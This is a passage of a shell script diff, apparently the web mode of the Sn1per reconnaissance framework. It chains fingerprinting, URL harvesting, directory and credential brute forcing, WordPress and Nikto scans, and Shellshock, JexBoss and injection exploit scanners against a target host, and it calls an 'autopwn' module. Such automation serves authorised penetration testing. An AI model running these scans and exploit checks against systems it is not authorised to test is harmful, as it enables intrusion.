+    echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET:$PORT |  perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET-$PORT.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s -R --insecure http://$TARGET:$PORT | tee $LOOT_DIR/web/headers-http-$TARGET-$PORT.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s -R -L --insecure http://$TARGET:$PORT | tee $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null
+    curl --connect-timeout 5 --max-time 10 -I -s -R --insecure -X OPTIONS http://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-http-$TARGET-$PORT.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING COMMENTS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-http-$TARGET-$PORT.txt 2> /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep  \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET-$PORT.txt 2> /dev/null
+    if [[ "$WAFWOOF" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED CHECKING FOR WAF $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http-port80.txt 2> /dev/null
+      echo ""
+    fi
+    if [[ "$WHATWEB" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING HTTP INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      whatweb -a 3 http://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw  2> /dev/null
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw > $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw 2> /dev/null
+      echo ""
+    fi
+    if [[ "$WIG" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING SERVER INFO $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 $PLUGINS_DIR/wig/wig.py -d -q http://$TARGET:$PORT | tee $LOOT_DIR/web/wig-$TARGET-http-$PORT
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http-$PORT > $LOOT_DIR/web/wig-$TARGET-http-$PORT.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/wig-$TARGET-http-$PORT 2> /dev/null
+    fi
+    if [[ "$WEBTECH" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      webtech -u http://$TARGET:$PORT | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-http-port$PORT.txt
+    fi
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED SAVING SCREENSHOTS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    if [[ $CUTYCAPT = "1" ]]; then
+      if [[ $DISTRO == "blackarch"  ]]; then
+        /bin/CutyCapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
+      else
+        cutycapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
+      fi
+    fi
+    if [[ $WEBSCREENSHOT = "1" ]]; then
+      cd $LOOT_DIR
+      python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:$PORT
+    fi
+    if [[ "$BURP_SCAN" == "1" ]]; then
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        if [[ "$VERBOSE" == "1" ]]; then
+          echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}\"$RESET"
+        fi
+        curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}"
+        echo ""
+    fi
+    if [[ "$NMAP_SCRIPTS" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      nmap -Pn -p $PORT -sV -v --script-timeout 90 --script=http-auth-finder,http-auth,http-brute,/usr/share/nmap/scripts/vulners,http-default-accounts $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT
+      sed -r "s/</\&lh\;/g" $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null
+      rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null
+    fi
+    if [[ "$PASSIVE_SPIDER" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$WAYBACKMACHINE" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$HACKERTARGET" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      curl -s GET "https://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$GAU" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED FETCHING GUA URLS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      gau -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
+    fi
+    if [[ "$BLACKWIDOW" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
+      blackwidow -u http://$TARGET:$PORT -l 3 -v n 2> /dev/null
+      cp -f /usr/share/blackwidow/"$TARGET"_"$PORT"/"$TARGET"_"$PORT"-*.txt $LOOT_DIR/web/ 2>/dev/null 
+      cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
+      mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
+      diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
+      if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
+        echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+      fi
+      if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
+      fi
+    fi
+    if [[ "$INJECTX" == "1" ]]; then
+      rm -f $LOOT_DIR/web/injectx-$TARGET-http-${PORT}.raw 2> /dev/null
+      #cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep 'http\:' | xargs -P $THREADS -r -n 1 -I '{}' injectx.py -u '{}' -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-http.txt
+      for a in `cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep "http\:" | cut -d '?' -f2 | cut -d '=' -f1 | sort -u`; do for b in `grep $a $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "http\:" | head -n 1`; do injectx.py -u $b -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-http-${PORT}.raw; done; done;
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/injectx-$TARGET-http-${PORT}.raw 2> /dev/null > $LOOT_DIR/web/injectx-$TARGET-http-${PORT}.txt
+    fi
+    source $INSTALL_DIR/modes/static-grep-search.sh
+    if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
+      source $INSTALL_DIR/modes/javascript-analysis.sh
+    fi
+    touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+    cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
+    if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+        python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x $WEB_BRUTE_EXCLUDE_CODES -F -e "$WEB_BRUTE_EXTENSIONS" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-common.txt
+      fi
+    fi
+    if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$DIRSEARCH" == "1" ]]; then
+        python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      fi
+      if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-full.txt
+      fi
+    fi
+    if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
+        echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+        if [[ "$DIRSEARCH" == "1" ]]; then
+          python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+        fi
+        if [[ "$GOBUSTER" == "1" ]]; then
+          gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-exploits.txt
+        fi
+    fi
+    if [[ "$DIRSEARCH" == "1" ]]; then
+      cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
+      cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
+      sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
+      mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null 
+      diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
+      if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
+        echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+        cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
+      fi
+      if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
+        /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
+      fi
+    fi
+    if [[ "$GOBUSTER" == "1" ]]; then
+        sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
+    fi
+    wget --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET:${PORT}/robots.txt -O $LOOT_DIR/web/robots-$TARGET:${PORT}-http.txt 2> /dev/null
+    if [[ "$CLUSTERD" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      clusterd -i $TARGET -p ${PORT} | tee $LOOT_DIR/web/clusterd-$TARGET-port${PORT}.txt
+    fi
+    if [[ "$CMSMAP" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING CMSMAP $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cmsmap http://$TARGET:${PORT} | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port${PORT}a.txt
+      echo ""
+      cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port${PORT}b.txt
+      echo ""
+    fi
+    if [[ "$WPSCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      if [[ "$WP_API_KEY" ]]; then
+        wpscan --url http://$TARGET:${PORT} --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}a.raw
+        echo ""
+        wpscan --url http://$TARGET:${PORT}/wordpress/ --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}b.raw
+        echo ""
+      else
+        wpscan --url http://$TARGET:${PORT} --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}a.raw
+        echo ""
+        wpscan --url http://$TARGET:${PORT}/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}b.raw
+      fi
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}a.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}a.txt
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}b.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}b.txt
+      rm -f $LOOT_DIR/web/wpscan-$TARGET-http*.raw 2> /dev/null
+    fi
+    if [[ "$NIKTO" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      nikto -h http://$TARGET:${PORT} -output $LOOT_DIR/web/nikto-$TARGET-http-port${PORT}.txt
+      sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-http-port${PORT}.txt
+    fi
+    cd $INSTALL_DIR
+    if [[ "$CLUSTERD" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      clusterd -i $TARGET -p ${PORT} 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http-port${PORT}.txt
+    fi
+    if [[ "$SHOCKER" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port ${PORT} | tee $LOOT_DIR/web/shocker-$TARGET-port${PORT}.txt
+    fi
+    if [[ "$JEXBOSS" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING JEXBOSS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cd /tmp/
+      python3 /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:${PORT} | tee $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw > $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw 2> /dev/null
+      cd $INSTALL_DIR
+    fi
+    if [[ "$SMUGGLER" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING HTTP REQUEST SMUGGLING DETECTION $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      python3 /usr/share/sniper/plugins/smuggler/smuggler.py --no-color -u http://$TARGET:${PORT} | tee $LOOT_DIR/web/smuggler-$TARGET-port${PORT}.txt
+    fi
+    if [[ "$NUCLEI" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      nuclei -silent -t /root/nuclei-templates/ -c $THREADS -target http://$TARGET:${PORT} -o $LOOT_DIR/web/nuclei-http-${TARGET}-port${PORT}.txt
+    fi
+    SSL="false"
+    source $INSTALL_DIR/modes/web_autopwn.sh
+    source $INSTALL_DIR/modes/osint_stage_2.sh    
+  fi
+  if [[ "$BURP_SCAN" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}"
+    echo "" 
+    for a in {1..30}; 
+    do 
+      echo -n "[-] SCAN #$a: "
+      curl -sI "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | grep HTTP | awk '{print $2}'
+      BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
+      while [[ ${#BURP_STATUS} -gt "5" ]]; 
+      do 
+        BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
+        BURP_STATUS_FULL=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3)
+        echo "[i] STATUS: $BURP_STATUS_FULL"
+        sleep 15
+      done
+    done 
+    echo "[+] VULNERABILITIES: "
+    echo "----------------------------------------------------------------"
+    for a in {1..30}; 
+    do
